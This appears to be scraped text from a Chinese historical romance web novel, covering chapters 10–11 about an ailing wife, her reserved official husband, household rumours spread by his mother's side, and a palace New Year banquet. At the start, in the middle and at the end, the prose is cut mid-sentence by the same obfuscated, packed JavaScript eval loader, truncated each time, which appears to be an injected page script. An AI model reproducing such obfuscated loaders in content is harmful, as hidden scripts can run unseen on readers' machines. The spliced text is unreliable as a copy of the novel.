;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她垂了眼帘,失魂落魄地坐回去,掐着一把软绵的嗓子,哀叹:“...好,妾听官人的,不闹了。” - 过分悲痛只会伤心伤身,夜半,靳连珠突发高热,玉莲用帕子冷敷了好几回仍不见好转,亏得她有先见之明,见大娘子情况不妙就留了郎中在府上过夜,以备不时之需。这会儿子急急谴白芷去请。 动静惊动晚香堂的人,秦冷莲亮了灯,领着女婢前来帮衬。 岂料,又一次被守门的女婢给拦了。 秦冷莲不懂自个儿到底何处惹到这位表嫂了,俗话说,伸手还不打笑脸人呢。再者,她好歹是受邀上门的客人,主人家哪有拒之不见的道理。 秦冷莲老大不乐意,但瞅着雅韵轩进进出出的人,个个儿面色阴沉,似有要紧的大事要发生。 她不明觉厉,悄悄地溜回晚香堂了。 书房内亮着灯火,沈敬行满脑子都是靳连珠泫然欲泣的眼神,弄得他心如刀割,坐下站着怎么都不得安生。 他揣着心事,公文看不下去,便唤敛秋入内问话。 这小子是个机灵鬼,见家主动了真火,便一五一十全交代了。 谣言的源头是谁不得而知,但终究跟碧波轩脱不了干系。 敛秋没胆子议论老夫人,索性绕过这一茬,往地上啐了一口,只替大娘子鸣不平:“那帮长舌的贼贱人,竟说表姑娘才是沈家长辈为家主相中的大娘子,家世、品貌、才情皆跟家主相配,又有青梅竹马的情谊,若非大娘子挟恩图报,等同逼婚的狂悖行径,家主早跟表姑娘成就一段良缘了。” “他们还说,大娘子身子羸弱,恐...” 敛秋打了个梗,不敢说下去了,讪讪抬起眼窥探沈敬行的脸色。 他背对他,负手立于文曲星塑像前。许是浓浓夜色为他添了一抹阴鸷之气,乍看下,竟跟平日里文质彬彬的俏郎君判若两人。 敛秋久久未等到家主发话,额上冒出颗颗豆大的汗珠,滚入衣领,湿了一片。 不知过去多久,沈敬行总算动弹了,取了火折子要上香,云淡风轻地道:“没让你停,接着往下说。” 敛秋颤颤巍巍地应:“是。” “他们说,大娘子身子羸弱,怕是...怕是没几年活头了。到时候,表姑娘亦可作为续弦入府,不过,在此之前,老夫人还得为家主纳几个良妾,因、因着,大娘子瞧上去恐不能生了...” “砰”得一声巨响。 书房开门声与贡炉倒地声重叠,敛秋吓得直接趴倒在地,抖如筛糠。 拂冬瞧见撒了满地的炉灰,心下大骇,碍于事态紧急,只得硬着头皮道:“家主,白芷姑娘来报,大娘子发热了。” 沈敬行蓦地回头,眼中尽是肃杀之意。 他甩掉手中掐断的几节香,大步流星地往外走,经过敛秋身侧时忽又想起某事,吩咐:“把这儿收拾干净,晚些时候,让负责大娘子膳食的厨娘来一趟。” 敛秋诚惶诚恐道:“是。” 10. 第十回 主仆二人疾步行至偏院才隐约瞅见雅韵轩内的幽光,院门开了半扇,里头却异常安静,下人们或进或出皆蹑手蹑脚的,衬得屋内断断续续地咳嗽声格外刺耳。 一挎着药箱、身着朴素灰袍的男子被玉莲送出来。 沈敬行赶巧碰上,冲拂冬使了个眼色,他立即唤对方上前回话。 郎中冲沈敬行拱手行礼,毕恭毕敬地唤了声“大人”,一开口,无非还是那套“夫人受风寒外侵,脉浮而紧,加之干呕发热,足见风寒之重。当以散寒为主,再行通经舒络”的言辞。 说罢,他将刚开得药方递上。 沈敬行虽不懂药理,却凭借着过目不忘的本事,识得这份方子跟先前宫内太医为葛氏开得那份驱寒散热的内容大差不差。 疑虑打消,沈敬行转手把方子递给拂冬,示意他去煎药,玉莲则留下照顾大娘子。 言语间,沈敬行余光捕捉到郎中欲言又止的微小表情,故而寻了个借口,带他到四下无人处询问。 “严郎中医者仁心,有什么不能当着外人言的,眼下但说无妨。”顿了一顿,沈敬行道:“若能治好我家娘子,报酬自然少不了...府医的位置,倒也还空着。” 郎中眼神飘忽一瞬,搓了搓冻红的双手,犯难地打着磕巴:“是,是。” 郎中姓严,名良平,家中靠卖草药过活。 他十六岁那年同隔壁阿妹结亲,岳丈大人原本是在永平城开医馆的,因着得罪了贵人,生意做不下去了,还牵连他空有一身行医的本事却无处发挥。 亏得严父这些年积攒了人脉本事,打听到沈家府医的位置还空着,不惜花费重金为他牵桥搭线。 机会来之不易,严良平当然不想失去,只是,他转念又考虑到另外的方面,心底难免有所顾忌。 他借着给沈家大娘子看诊,也算摸准了内宅之间的弯弯绕绕,知晓这家内部水深,又因着跟大内有一层表亲关系,差事等同于火中取栗,委实凶险。 严良平的确需要沈家助他施展所长,顺道赚些银钱养家糊口,却也想留着这条命跟娘子恩爱长久。 两边意见相悖,让他很难即刻下决定。 收买人心最着急不得,沈敬行素来最不缺的便是耐性,可他引以为傲的自持力一旦碰上与靳连珠有关的事儿就彻底破功了。 他没心思跟严良平周旋,冷了脸,指节敲了敲腰间的香囊,无声催促。 严良平咽了口唾沫,不再瞻前顾后,一股气道:“今岁入冬不久,夫人就患过一场风寒,固然凶险,不过只要仔细用心调理,倒也算不上甚么。偏偏这一回,大娘子的病来势汹汹,如同烈火遇干柴,烧得底子都被挖空了,委实蹊跷...” 沈敬行眸底泛着凌人的寒意,一股难以名状的怒火在心口乱窜。他扬声,换了人到近前,作势要把小厨房查个底朝天。 严良平阻拦道:“大人,问题未必出在饮食上。” 沈敬行脸色阴沉可怖,挥手屏退仆从,稍一抬颚,示意他接着说。 言词从脑袋里打了个转儿,润色一番,严良平窥着沈敬行的反应,小心作答:“夫人肝郁气滞,气血运行受阻,则百疾丛生。积攒久了,骤然迸发,再加之夫人素来体弱,发作起来自然如山倒。” 沈敬行短暂一怔,旋即领悟对方的言下之意。他睫羽微颤,眼底闪过一丝空茫无措,很快就消散不见:“可有法子?” 严良平道:“风寒并非甚么疑难杂症,几贴药服下去,注意饮食清淡、别再受风,不日便可痊愈。咳疾是早年间留下的根儿,只得以药调理,徐徐图之。” “至于夫人心头的郁症...” 严良平躬身:“草民医术不精,只能开一些缓养的方子试试看。” 沈敬行用力攥紧手,压下舌尖翻腾的苦涩,哑声:“有劳。” 着仆从收拾出西偏院的厢房给严良平暂住,沈敬行径直进入雅韵轩。守在门口的女婢见到家主,行礼后,预备进去通传,却被沈敬行制止了。 因着靳连珠嗅不得浓烈香味儿,所养的花草一应搬去院子里,显得屋内有些许寂寥。苦药气挥之不散,停滞久了,仿佛已经浸透每一块木头,呛得人口鼻发麻。 纱幔垂地,暖帐之内,靳连珠坐起身,虚弱地倚着床柱,仅袭一件薄纱长衫,绯色肚兜儿若隐若现,两根细细长长的绳绕到颈后打结,宽大的袖兜落至臂弯,露出白玉一般的半截手臂,肌理细腻骨肉匀。 白芷跪在一旁的脚踏之上,手捧一碗热气腾腾的梨汤,温声细语地哄:“姑娘,好姑娘,你多少饮一口罢,润润嗓子,不然,夜里咳起来又是受罪。” 靳连珠阖着眼,浑身乏力,舌尖苦的发麻,肚子也涨得厉害,着实喝不下了,于是推开她凑近的手,含糊不清地发问:“我这是怎的了?” 本以为闹风寒而已,怎就突然连床都下不来了呢。 闻言,白芷鼻尖止不住的酸涩,揪着衣袖悄悄揩去眼角的湿意。 她故作轻松地笑了笑:“严郎中说您就是患了风寒,用几贴药,注意添衣勿吹风,安心休养一阵,很快便能好起来了。您的身板弱,平素还是少出门走得好。待开春,气候暖和了,奴婢再陪您外出散散心。” 靳连珠长长地呵出一口气,仰头盯着被褥上绣的合欢花,胀涩的眼眶内似有甚么逐渐漫上来,疼得她整个儿蜷缩起来,小小声说:“永平城的冬日又长又冷,实在难捱,到底不如淮州...” 虽未说明,但白芷听得真切,姑娘这是受狠了委屈,又想爹娘了。 靳家固然不是甚么高门显贵,靠着家主早年行商积攒下的银钱,在淮州也算是数一数二的富户了。 靳连珠无姊妹、无兄弟,自幼被阖府上下奉为掌中明珠,一丝一毫的苦都没吃过,没成想,一朝嫁作他人妇,竟有受不完的冤屈折磨。 被远在淮州的家主夫人知晓,定要痛得撕心裂肺。 白芷看不得娇生惯养的姑娘受罪,原先一个活泼伶俐的人儿到沈府不足两年便被压榨成这副憔悴模样。 让她眼睁睁瞧着姑娘奔着死路一去不回头,未免过于残忍。 鬼使神差的,白芷记起曲莲私下不止一次跟她们提及有劝说姑娘和离的想法,且说得十分有理:“沈家乃皇亲国戚,依照家主的才情、相貌,只要他想,哪一家的高门贵女能拒绝得了?为何甘愿降下身段跟商贾结亲?” “咱家姑娘心善纯良,被一段虚无缥缈的旧事和男子的好皮囊迷了心窍,甘愿千里赴情就摁下不提了,你们这些蠢的竟也信了沈家那套说辞。瞅瞅他们这伙人的作派,是诚心诚意将姑娘当作大娘子的么?” 那会儿,白芷还能义正言辞的斥责曲莲背后议论主家乃大不敬,现下因着府内的风言风语,以及家主历来对姑娘的冷淡之态,使得她心下竟隐隐有了动摇之意。 白芷没曲莲那么大的胆子,敢做出怂恿娘子的狂悖举动,但提醒娘子的话或多或少是可以说一嘴的。 未等白芷组织好言辞开口,有人上前取走她手里捧着的梨汤。 白芷一愣,忽撞入一双幽暗深邃的黑眸。 那眼神着实凌厉尖锐,叫她有种里里外外都被看透的错觉,全然不似家主平日温润如玉的模样。 只一瞬的功夫,沈敬行的视线便从她那儿移开,落在靳连珠身上时又是另一种柔情缱绻。暗藏着不轻易教人发觉罢了。 “这儿不用你伺候了。” 不冷不淡的一句吩咐,却使白芷心下大骇,方才酝酿的念头打消的一干二净。她头皮发麻,见礼的同时小声应是,匆匆领着其余女婢们退下。 房中气氛很快冷却下来。 靳连珠没睡着,拥着被褥背对着他,一声不吭的,多半是余怒未消。 沈敬行无力招架她的闷火,兀自静坐半晌。直到听见靳连珠隐忍的轻咳才干巴巴地开腔:“梨汤要凉了,你,多少饮一些润润嗓罢。” “妾喝不下。” 不止不想饮汤,靳连珠更不想理他,于是学他的口吻,公事公办道:“官人自去歇着,年关在即,小心别被我传染了。” “无碍。” 沈敬行当真以为她是关怀自个儿,心头一喜,由此揣测她也许没那么气了。 他放下碗盏,掌心从缝隙穿过去握住一把柔软腰肢,稍加用力,轻而易举把人托起身,置入怀中。 一套动作行云流水,靳连珠连反抗的机会都没有,紧接着便被他的臂弯牢牢锁住了。 她仰着头,一双晶润的眸子一眨不眨地盯着他,表情略木讷,显然处于意料之外,柔弱无骨的指尖抵着他腕骨,下意识向外推搡那碗尚且冒着热气的梨汤。 人在病中,难免任性。就连他偶有几回身子极其不舒服的时候,也会控制不住地幻想可以卸下外壳,躲入她怀中偷一偷懒。 只不过,那会儿他们还未成婚。 沈敬行把生病的靳连珠视作顽皮耍赖的孩童,尽力耐心哄:“梨汤里加了好几块冰糖,跟甜水儿一个滋味。不信你尝尝。” 靳连珠皱紧眉,缄默不语。 恼火归恼火,但转眼看见这么一个玉骨秀横秋的神仙中人,放低身段,温言软语地哄着、惯着,心意刹那凌乱。 况且,沈敬行难得有如此贴心的时候。 靳连珠就像嗜甜却许久未吃甜的人,本就馋极了,眼下正巧有颗合胃口的饴糖递到嘴边,怎么能忍得住。 沈敬行捕捉到她松动的眼神,及时递上碗盏。 靳连珠矜持一瞬,便顺从地沿着他给台阶下来了。 朱唇轻启,舌尖抵着碗沿,小口小口啜着。 不多时,小半碗梨汤下肚,她实在涨得厉害,往外推了推他的手腕,沈敬行即刻停了,没再强令她继续饮用。 趁着沈敬行去外间放碗盏,靳连珠掀起锦衾,一骨碌,缩到床榻最里头去了。 屋内炭火烧得噼里啪啦作响,窗牖仅开了一条窄小的缝隙透风,冬日被褥厚重,靳连珠服药后睡得沉,出汗多了就容易做噩梦,不住地撕扯衣裳,白芷怕她伤了自个儿,待郎中离去,同玉莲为她换了一身轻便的。 先头因着伺候的皆为女婢,靳连珠不觉得有甚么,这会儿却截然不同。 纵使她从前为引诱沈敬行做那档子事儿无所不用其极,可他们二人如今还吵着架,她穿得如此单薄就跟他共处一室,未免显得太轻浮。 靳连珠反手去拽衣裳,试图遮住裸-露的大片雪白背脊,窣地,有只大掌攥住了她的指尖,不轻不重地握了下,似在试探温度。 扑在耳畔的热乎气暧昧撩人:“冷?” 靳连珠呼吸停滞一拍,抿了抿嘴,微不可查地嗯声。 然则,沈敬行似乎没旁的繁杂想法,帮忙拉起被子后便下了榻。 靳连珠长松一口气,复又隐约感觉失落。 她一颗心忽上忽下的还未落定,身后便传来窸窸窣窣脱衣的动静,很快,沈敬行熄了多余的烛火,留下近处的一盏灯,与她钻入同一个被窝。 一片漆黑中,靳连珠感知到后背贴上熨烫如铁的胸膛,腰肢被他揽着往后靠,直至毫无间隙。 沈敬行兜了兜被子,用怀抱把她密不透风的罩住。 靳连珠鼻尖萦绕的苦药味迅速被他清冽的体香覆盖,蛊的她头晕目眩,跟个初初心动的少女一般,乍然跟意中郎亲近,紧张到连腿脚都不清楚该往哪儿放了。 沈敬行对她的羞怯无知无觉,双手包住她泛凉的柔夷,询问:“还冷吗?” “不、不了...” 靳连珠身子紧绷着,呼吸不自觉变轻。 沈敬行终于放心,咕哝:“那便好。” 两人相安无事地躺着,渐渐地,靳连珠扛不住翻天的疲倦先睡过去。 没一会儿,她翻了个身,脚尖本能地踩着他向上蹬,面颊顺势靠着他,彼此呼吸交缠,暧昧难耐。 外层薄纱随着她的动作扯到臂弯,彻彻底底露出那件肚兜,白瓷一般光滑细腻的肌肤同他触碰,似是觉得他暖和,于是一而再再而三的靠近,直至躯体毫无缝隙。 忽有一阵风灌入,吹灭唯一的一根蜡烛,帷幔内霎时陷入一片黢黑。 沈敬行看不清,眼中闪烁着无措的光,原本抱着她的双手亦不敢切实贴上去了,改为抓着被褥边沿。 先前为了让她暖和起来才选择抱紧,到头来,却成了针对他的酷刑。 靳连珠的烧还未完全消去,烫乎乎的一个人儿紧缩在怀里,弄得他也变得火烧火燎的。 夫妇二人同床共枕许久,沈敬行早就摸透靳连珠睡梦中会无意识蹭人、磨人的习惯。 方成婚那段日子,沈敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲莲哼哼唧唧的,摆明了不乐意。 靳连珠调笑道:“难不成,你还想跟在我身边一辈子?” 曲莲立即回话:“自然!” 靳连珠曲指剐一下她的鼻尖,笑而不语。 反观玉莲,十分顺从的就答应了。 回到晚香堂,曲莲还哭哭啼啼的,白芍、白芷上前询问原由,得知大娘子要给她们许配人家,皆替她们高兴。 曲莲却不乐意了,赌气嚷嚷:“那你们替我去嫁好了,我可不放心留娘子一人在这虎狼窝里受罪。” “别任性。你都这把年岁了,不嫁人是要被嗤笑的。” 从始至终一言未发的玉莲绷不住喝止道:“你以为不嫁人就能继续留在娘子身边吗?因着聚众投壶嬉戏一事挨罚,你就该看明白了。老夫人有意撵咱们走,这次不成,还有下次。娘子维护咱们,屡次跟老夫人对着干,这叫什么?” 曲莲俨然没想过这一层,被玉莲的质问唬住了,一时之间忘记哭泣,只有泪珠子在脸上滚。 玉莲坐在窗边,远远瞧着雅韵轩的烛火,眼里闪烁着细碎的光:“不孝长辈、忤逆上亲的名声传出去是能逼死娘子的。” 高门贵胄,规矩繁多。靳连珠虽有官人庇护,但女子在深宅大院里讨生活,总有个艰难的时候,这也是为何靳家非要懂拳脚的曲莲作为陪嫁女婢之一的缘故。 葛氏无权直接处置儿媳的陪嫁,可她要想做成一件事,有的是法子。 纵使来日东窗事发,孝道当前,难不成沈敬行真会为了给靳连珠出气,做一个忤逆不孝的孽障吗? 既然玉莲、曲莲已成为老夫人的眼中钉、肉中刺,强留下只会成为他人拿捏大娘子的筏子。嫁人这条路算作两全之法,她们之后还能留在永平城,得闲能与大娘子见上一面,已是不幸中的万幸。 曲莲哭懵的脑袋逐渐转过弯来。 她抿着嘴,深思熟虑一番,长叹一声,认命了。 年前还剩一段日子,靳连珠安排玉莲、曲莲暗地里跟名单上的几位公子相见。 起先百般抗拒的曲莲突然转变了态度,可由着她相看几日之后,靳连珠迟迟没见她来回话。 靳连珠以为她统统没瞧上,预备再做打算,毕竟,对的人只能靠遇见,蓄意安排只怕会促成冤缘。 偶一夜,靳连珠于廊下指挥女婢们挂灯笼的时候,撞见曲莲袖兜里掉出来一只崭新的香囊,纹案是表达心意相通的栀子花,还有些缠绵悱恻的诗句。 曲莲以为无人发觉,匆匆拾起,塞回袖兜里。耳根却染了一层薄红。 没几日,玉莲定了玉水巷的齐家,两家走完流程,将婚期定在开春。 曲莲按耐不住,某天悄悄避开他人,涨红着脸向靳连珠吐露了心事。她看中的并非名单上的公子,而是和阳巷里头做肉脯生意的周家大公子。 二人偶然相识,几次相处下来都生了旖旎的念头。 周公子是个坦率的性子,争取父母同意后立马跟她约定,年后必让媒人上门提亲。 靳连珠托拂冬前去探了一番,确认是个品貌极佳的公子,且家中人口简单,公婆敦厚老实,这才点头允了。 雅韵轩一下多了两桩喜事,又逢年节,欢笑尽娱,乐哉未央。 靳连珠情绪大好,身子也逐渐康复。白日不怎的咳了,汤饭用得进去,脸颊养出嫩肉,看上去总算有些许往日的娇气儿。 入宫赴新年宴会当日,靳连珠特地起了个大早,唤白芷入内为她梳头,自个儿则端着沉重的首饰盒挑挑拣拣,不知选哪支钗才合适。 倏有一只手伸过来,捻起一支海棠琉璃珠钗递给白芷,痛快的替她做了选择:“就戴这个。” 靳连珠顺势望过去,撞见沈敬行一张斯文面。因着要入宫面圣,他身着官服,圆领大袖,下裾加横襕,腰间束以革带,头上戴幞头,脚登靴。紫袍,对雁纹样。 衬得沈敬行身姿愈发挺拔,卓尔不群。 堪称—— “积石如玉,列松如翠。 郎艳独绝,世无其二。” 靳连珠难免迷了神智,眼神生涩,满面绯云。 11. 第十一回 沈敬行察觉到她上下打量自己的视线,面颊火辣辣的,有些赧。 他强忍住逃离的冲动,放低身子任由她瞧,接着,从袖兜里掏出一对白玉素圈臂钏,作势要给她戴上。 靳连珠的青丝被白芷握着,等同于受到禁锢,实难闪躲,便由着他挽起衣袖。 臂钏可以收缩,以防太紧会弄疼靳连珠,沈敬行笨拙地调节大小,半天没弄好。靳连珠乜着他,无奈之下,接过来自个儿戴。 她肤色白皙,却并不病态,关节处透着浅粉。白玉衬得她愈发像个瓷器一般的精致人儿。 沈敬行扫一眼就敛回目光,心头噗通乱跳,迫得他呼吸不太畅快,不得不起身去外间斟茶去去火。 可站到桌前,他手捧着茶盏,余光却一直瞥着靳连珠。 于是胸腔内燃烧的烈火愈发汹涌。 沈敬行信奉“节俭、克制”的行事准则,凡使他无法理智思考的人或事一应杜绝才对。偏偏靳连珠成了这个例外。 自从多年前于淮州与靳连珠的一面之缘起,沈敬行每每想到她,脑海里都会冒出一个念头:她生得极美。 现在更甚。 眸清可爱,鬓耸堪观,新月笼眉,春桃拂脸;意态幽花未艳,肌肤嫩玉生香。赤金镂花石榴裙,绫罗衣,套一件锦缎小袄,领口处一圈白狐毛。所佩饰品不多,却件件儿珍贵,多数是从她嫁妆箱底搜罗出来的。 她执着手持镜,笑吟吟的跟白芷逗趣儿,活脱脱像个未出阁的娇俏姑娘家。 沈敬行不知不觉间饮下三两盏茶水,再喝下去恐会误事。他拂了拂衣袖,故作淡然地上前,想听听她们在聊甚么内容,使得靳连珠笑成这副好看的样子。 白芷却被他板着一张脸的肃杀表情吓得梳子都拿不稳了,霎时噤声,匆匆忙完手上的事情,欠身退出去,还不忘把门捎带上。 徒留两人沉默以对,蔓延着道不清的尴尬。 靳连珠不理他,自顾自整理衣裳。 冬日的外衣厚重,臂钏无法戴在外面,藏起来无法于人前展示又没甚么意思,还硌得她有些不适,索性摘掉了。 沈敬行眼睁睁看着她把臂钏收入匣中,换成一只鎏金镯子,猜测她必定不喜欢自个儿准备的礼物,目光于是一点点黯淡下去,抿紧了嘴,静悄悄站在一旁,不曾询问、解释半句。闷得跟个锯嘴葫芦似的。 靳连珠回首见他仍杵在那儿,到底没憋住,率先开腔:“时辰不早了,官人还不出发?” 新春佳节,依照俗礼,官员们先入宫面圣,内宅女眷们午后再赴宴。但官家昨儿上朝时有令,今岁不必拘这些礼,众臣与家眷一同入宫即可。 沈敬行一言未发,只意味深长地睨她一眼,取下架子上最厚实的一件大氅,示意她穿上,稍候两人一道出门。 靳连珠表情凝滞,很明显的抗拒。 土里土气的颜色和图案,上身后没得让她虚长几岁。 平日里穿一穿就算了,今日入宫少不了要见贵人、官眷,靳连珠不想穿这件跌份儿,张口欲唤白芷入内替她掌掌眼另选一件,沈敬行却先一步动作,用大氅拢住这具娇小身躯,修长指尖绕着系带,利索地打了个结。 靳连珠:“……” 两人靠近仅眨眼这一功夫的事儿。 沈敬行帮她穿好大氅后一刻也没停留,往后退一步拉开距离,却还是闻到她颈侧淡雅的熏香味儿。 同样,靳连珠也嗅到了他的,情绪难免复杂。 最近这段时日,靳连珠专心养病,不曾出过门。 沈敬行一改往日作风,命敛秋于外间置了一张桌案,把公务都搬到这边,整日陪靳连珠待在雅韵轩——说是陪,实则两人各忙各的,鲜少交谈。 两人朝夕相对,同榻而眠。 气味儿混在一处,难分彼此。 从前靳连珠盼都盼不到的日子,生一场病就全有了,来得太容易,弄得她时常恍然,生怕这一切不过一枕黄粱。 直至她午夜梦回时惊醒,发觉自个儿就缩在沈敬行怀里。他的胸膛温热熨帖,切实的安全感,使得她绷紧的神经总算得以舒缓。 他们不再是疏离的分被而眠,距离近到她抬首便能亲上他形状漂亮的双唇,而沈敬行一只胳膊放于她腰肢上,脚背任她踩着,安然沉睡。 靳连珠久违的感受到幸福,竟因此热泪盈眶,心脏软的一塌糊涂。 她被沈敬行给予的片刻柔情迷失双目,甚至为了留住得之不易的亲密关系,头脑一热,打算不再计较先前受的委屈,继续这么跟他把日子过下去。 等到白日看着他心无旁骛处理公务的场面,靳连珠前一夜的所思所想又变了。 沈敬行身处高位,事多如牛毛,不可能整日都有空闲陪伴她。况且,他的性子本就不热切。 偶尔几次举止主动到不像他了,无非因着她淌泪、生病。可她又不会整日哭啼,亦不会一直生着病。眼前的柔情早晚会消散,到时候,他们自然退回以往若即若离的关系,她又该变成那个谨小慎微、贤良淑德的大娘子了。 仅仅作一番设想,靳连珠便觉得心中一片荒芜寂寥,眼眶不禁红了一圈儿,竟有落泪的冲动。 她也不知自个儿是怎的了,养病期间似乎把脾性也养娇了,频繁冒出一些伤春悲秋的念头,人也变得倦怠许多,连热闹都没心思凑了。 新春佳节,又要入宫赴宴,若她哭哭啼啼的,委实不成体统。 以防沈敬行察觉端倪,询问起来无法作答,靳连珠立即掀起帘子,往马车外看去,趁此机会使劲儿眨巴眼,生生压下那股汹涌的泪意。 扑进来的寒风险些吹灭盆中炭火,沈敬行凑近,胸膛轻靠上她的背脊,只手压住卷起的帘子,淡道:“你的身子养了这么久,将将好转,不要吹风。” “...嗯。” 靳连珠被困于角落,面朝箱壁,背靠他的胸膛。沈敬行一启唇,湿热呼吸便喷洒在颊边,弄得她心猿意马。 可惜,她涂了口脂,无法顺势做些甚么。 晃神的功夫,马车悠然停下。 拂冬在外唤:“家主,到了。” 沈敬行毫不贪恋地抽身离去,靳连珠默了一默,跟着起身,掀开帘子才发觉他就站在脚凳旁,见着她,他罕见贴心地伸出手搀扶。 这样一个微小的举动,却从靳连珠心底惊起惊涛骇浪。她小心翼翼地攥住他的手,步履款款地迈下来。 今年冬日多雪,前一夜又飘了一阵,宫门口的积雪已清扫干净,却扫不掉萧瑟寒气。 沈敬行记着靳连珠遭不住冷,替她拢了拢大氅,把暖乎乎的手炉塞入她掌中,顶着一张冷若冰霜的脸,用一板一眼的语气说着最窝心的叮嘱:“宫宴从过午一直持续到入夜方歇,时辰太长,你的身子弱,恐会疲累。后宫内有供给官眷们休憩的暖阁,你若察觉不适,即刻禀报皇后娘娘,离开片刻养养神,无人会怪罪你的。” “好。” 靳连珠上回入宫全程跟着婆母,期间少言寡语,行事皆听从婆母的眼神指挥,所幸没有出错。 这次不同,秦凌莲也被带上了,婆母自然会多多照拂这位表姑娘,恐无暇顾及她,故而,沈敬行所吩咐的每一句,她都努力记在心里,以免在宴会上行差踏错半步,被人瞧去笑话。 沈敬行的目光在这张娇娇怯怯的面容上流转一圈,不由得暗叹一口气,竟有些埋怨男女分席的俗规。 一整个儿下午未免太长,他总归放心不下她,又道:“我跟礼部的王大人素有交情,他夫人又与你年岁相仿,性子应也相投。席间,你如若觉得无趣,便可寻她说说话。” 顿了一顿,他问:“你应认得他夫人罢?” 上回入宫,葛氏盯得紧,唯恐靳连珠给沈家跌份儿,不许她擅自去与人结交。不过,靳连珠对沈敬行提到的这位娘子倒有些许印象。 是个极貌美,极活泼的女子。 姓甄,闺名不详。 其父为骠骑大将军,其母为邕宁郡主,亲兄长为殿前司副指挥使。 甄氏作为家中独女,自小锦衣玉食,及笄当年与有青梅竹马之谊的王大人结亲。两人成婚多年仍蜜里调油,恩爱非常。 甄氏二十岁生辰那日,王大人办完公务,日夜不休策马狂奔回府与她相见。又因甄氏喜好灯笼,王大人一掷千金,为她打造一盏宝盖珠落琉璃灯。 此事被说书先生稍加润色,很快便传遍皇城,俨然成了美谈一桩。 靳连珠初听闻,还曾艳羡地喟叹过一句:世间怎会有如此好命之女。 思及此,靳连珠深深睨一眼沈敬行,心头泛起一抹异样的情绪,酸胀晦涩,使得她胸口不太舒服,遂低头掩盖异样的神色,闷闷沉沉地应声:“官人放心,妾认得的。” 沈敬行蹙眉,误以为她是怯场才会露出这般失落的神色。 他不是个优柔寡断的人,眼下却迟迟不肯挪动脚步,正预备再说些甚么,忽听闻前头有人唤他,循声望去,是携家眷刚到的户部张大人。 靳连珠同样对上不远处老夫人不善的目光,心头一震,赶紧别了沈敬行,急匆匆过去听候婆母吩咐。 宫门口人多眼杂,葛氏忍下不耐,给了靳连珠几分薄面,舒缓语气,让她只管照料好自个儿的身子,转而唤秦凌莲到身边搀扶。 靳连珠自然不敢有异议。 秦凌莲挽着葛氏有说有笑地走在前,留靳连珠形单影只的尾随在后,远远看过去,她这个大娘子反倒更像外人。 见状,沈敬行心头一阵不快,吩咐拂冬:“你到宴会外候着,时刻注意着些,若大娘子有事,便速速来报我。” 拂冬领命而去。 - 她们先到凤栖宫向皇后娘娘见礼,继而结伴前往御花园内赏景听曲,期间,靳连珠没瞧见甄娘子,便独身坐去一旁看着婆母领秦凌莲于女眷之中交际。 众人闲聊半晌,方才入席。 席上的位置提前安排好了,靳连珠由内侍引着前去,刚一落座,就听闻葛氏唤秦凌莲坐到近处陪她聊天解闷。 霎时间,周遭投来许多道视线,暗戳戳地瞧沈家婆媳俩的热闹,连厅中的管弦丝竹声都小了些许。 永平成内谁人不知谁人不晓,当年沈敬行的婚事定得匆匆忙忙,再加之门不当户不对的,其中必然有鬼。 年前这段时日,不知从何处传出一说法,道,当初葛老夫人相中的儿媳乃是跟沈敬行有青梅竹马之谊的秦凌莲。 这位表姑娘的父亲三年前携家眷赶往岭东赴任,导致两个孩子不得不分离,逢年过节才能见上一面,长此以往,再好的感情也难免生疏了。 依照老夫人的意思,打算速速促成这段缘分,岂料半路杀出个程咬金——如今这位靳大娘子,仗着自家曾对沈敬行有救命之恩,迫使他应下这门婚事。 若说老夫人心中无芥蒂,那是不可能的。自个儿辛苦教养成才的独子,本来满心欢喜等着他光耀门楣,临了却便宜了一个商贾之女。 幸而老夫人是个仁慈的,既然木已成舟,便不再跟靳氏计较其它。 偏偏靳氏很不安分,屡次挑唆沈敬行跟老夫人对着干,要走管家权却称病闭门不出,沈敬行无奈之下寻了一个信得过的女账房替她处理内宅事务。 更甚至,靳氏因嫉妒,一直对上门做客的秦凌莲拒而不见,后又找理由让她搬到偏院去,装病强留沈敬行在身侧陪伴,生怕他们表兄妹碰上面。 “出身卑贱,一朝得嫁高门却不知足,还敢撺掇家中主君。这么一个不贤不孝的毒妇,就算一纸休书遣她回娘家也不为过。” 不远处有两个姿容年轻的娘子凑在一起嘀嘀咕咕,正说得兴起之时,忽有人步伐匆忙的从桌前经过,张扬的裙摆撩倒酒杯,液体哗啦啦洒了她们一身。 对方却头也没回,径直走了。 这二人被突如其来的变故惊得“啊呀”大叫,面带不满地抬头望去,发觉对方乃沈大人的内眷甄大娘子,于是纷纷哑了声,低眉臊眼地退下去更衣了。 靳连珠无从得知旁人的闲话,兀自端庄地坐在原处欣赏歌舞。 期间,有人带头向皇后娘娘道喜敬酒,其余女眷们立即附和。 靳连珠不得不跟着起身。 她的药还未断,严府医特地叮嘱过饮食上忌酒忌荤腥辛辣,但她更怕给人留下话柄,于是斟酒就要送到嘴边,却被人中途拦住,飞速换上一杯清水。 靳连珠愣了愣,竟全然没有发觉甄氏是何时到身边的。 敬完酒,众人落座继续用膳欣赏歌舞。 甄宛筠先上前向葛氏见礼,接着,凑过来热切地挽住靳连珠的胳膊,一双琉璃似的眸子亮着光,一眨不眨地盯着她,看了半晌,突然冒出一句:“官人果真没有扯谎,靳娘子生得这般貌美,如同天仙下凡了。” 靳连珠:“……” 葛氏离得近,听见甄宛筠的话,皮笑肉不笑地冷哼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 